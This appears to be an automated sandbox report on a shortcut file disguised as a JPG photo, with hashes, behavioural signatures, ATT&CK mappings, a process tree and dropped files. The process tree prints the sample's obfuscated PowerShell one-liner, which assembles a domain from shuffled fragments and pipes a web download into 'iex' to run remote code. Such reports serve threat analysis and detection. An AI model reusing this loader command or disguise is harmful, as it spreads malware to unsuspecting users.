a93ce4f146e3e9267ef4ef06494ca27bf42c4bb4feec2581500eb5eb5854a7bf

Analysis

max time kernel
150s
max time network
166s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/07/2026, 11:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_230412.jpg.lnk
Size 1KB
Sample260725-m8nlsawsd1
SHA256 a93ce4f146e3e9267ef4ef06494ca27bf42c4bb4feec2581500eb5eb5854a7bf
MD5 f40567e83a8c0f518cb447cb18c7061a
SHA1 0e681f425644a6d5b41fbeb31cf34edc95e9ad20
SHA512 0a7d7cc90977479282d7dce5aef433f45698e498b79a57cf7c4e970958a8d09df26921fb1644ac6d370de23c44333a456cbaf3273d676e19ca065574f3dcab87
TLSH
T1AC31DF199FF21669D6BB8B3958B6631187327B0EDA49CFDF0290C1949964120FC78F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4288	powershell.exe
5	4288	powershell.exe
8	4288	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4188	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe
4288	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4288	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4188 wrote to memory of 4288	4188	cmd.exe	90
PID 4288 wrote to memory of 6032	4288	powershell.exe	91
PID 6032 wrote to memory of 5168	6032	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_230412.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('pho','res','tay.o','ne','oin','rv','e','t','s')[1,6,5,0,7,4,8,2,3] -join $nu4) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4288
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pw5ktt32\pw5ktt32.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6032
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E3C.tmp" "c:\Users\Admin\AppData\Local\Temp\pw5ktt32\CSC5AD1E74212E94F638B2EFFFF210E3CF.TMP"
      4⤵
      PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES1E3C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1E3C.tmp
Size 1KB
SHA256 7535f97e41d7347cbd256dd590f26ddb16f54c7e3e5f69bf40e3164fddaf442f
MD5 4167339ee35ee35c80b472d5f7a8a17b
SHA1 60150ea79358eb005d98f714c2388fd098b42327
SHA512 73bf927e67e4c459bb4d6a9f2942e1ff46a0c43031399dd780cab6e24bcc4888ba36d5b5952bc45aa2b10ac280fe53a3b2ed80e2cb5c476f85c25373c7d503d3
TLSH
T1E421AF05A3E94B0FF073573269F6172FE279FD64EF61939A9544422C2C41644EFA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

pw5ktt32.dll

Path C:\Users\Admin\AppData\Local\Temp\pw5ktt32\pw5ktt32.dll
Size 3KB
SHA256 71c8b7f77218770ba9be770287822efe64b9d6645ac6292ef9450341773072a7
MD5 1fa5f768f1402ac3f23cdb79ee9e66c2
SHA1 b7c9a84b1a8b326f6700c23e31b4ba7c0a19ce95
SHA512 ade3f3f2c915b0d31e0a2253fa38d4a24d38b5c91bcf0330e2a33b804cedeb0bdb0b16bdcd536ab3edef8af1ae1a8bd73361f9b7e662e8c019a44231a348e4ab
TLSH
T14951DE1AA3E8066BE46707346FE3475777B8F8108FB297A95DC0022DAC607546D31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC5AD1E74212E94F638B2EFFFF210E3CF.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\pw5ktt32\CSC5AD1E74212E94F638B2EFFFF210E3CF.TMP
Size 652B
SHA256 8480e70212470a84ea168111124627df69a00474716a36909d7423df9796e5f2
MD5 edb33c8e27a200f6e062318cbd11c338
SHA1 84957810f71c2139c53581e2696c28312c0b8dab
SHA512 0eb8708bcdf7f6b5aa970d456d6c7f4d85c49d8f0bf20855efff675e20be027e67a130c636c068400d5d6b1fd279f1cc54405bce08c1a11581a73951065143dc
TLSH
T18FF03A4973F8020AF0F34B30BDF6536391A9BC65DE3293ED5880532D28646109962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

pw5ktt32.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\pw5ktt32\pw5ktt32.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

pw5ktt32.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\pw5ktt32\pw5ktt32.cmdline
Size 369B
SHA256 f37bcb7ba29c6a15fb39e5ade4c6977e2733a368cea7fc12f32189baf1407f6b
MD5 5317d4e5bddbd7a2c80e5e8dc1a9857a
SHA1 26c475e9b3af89b2c895c4510c9d77d0a2a5a2b7
SHA512 95e770a94c0f66c58a350109753fed451ccaf36dc0d1e104644ab706dde631b1d49d81d659898e0c03a3946ce6026e44ca8ac9172518def97baf76ed4e9e900f
TLSH
T102E0C63E524EC77D11ED120B327AC4ADC272A7C32A803F849050848EE82B8002BD37A1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4288-9-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-2-0x00007FF9CF09F000-0x00007FF9CF0A0000-memory.dmp

Download

memory/4288-11-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-12-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-13-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-14-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-15-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-16-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-17-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-10-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-8-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-30-0x000001F8404F0000-0x000001F8404F8000-memory.dmp

Download

memory/4288-7-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-6-0x000001F859C20000-0x000001F859C42000-memory.dmp

Download

memory/4288-5-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-31-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-32-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download

memory/4288-34-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

Download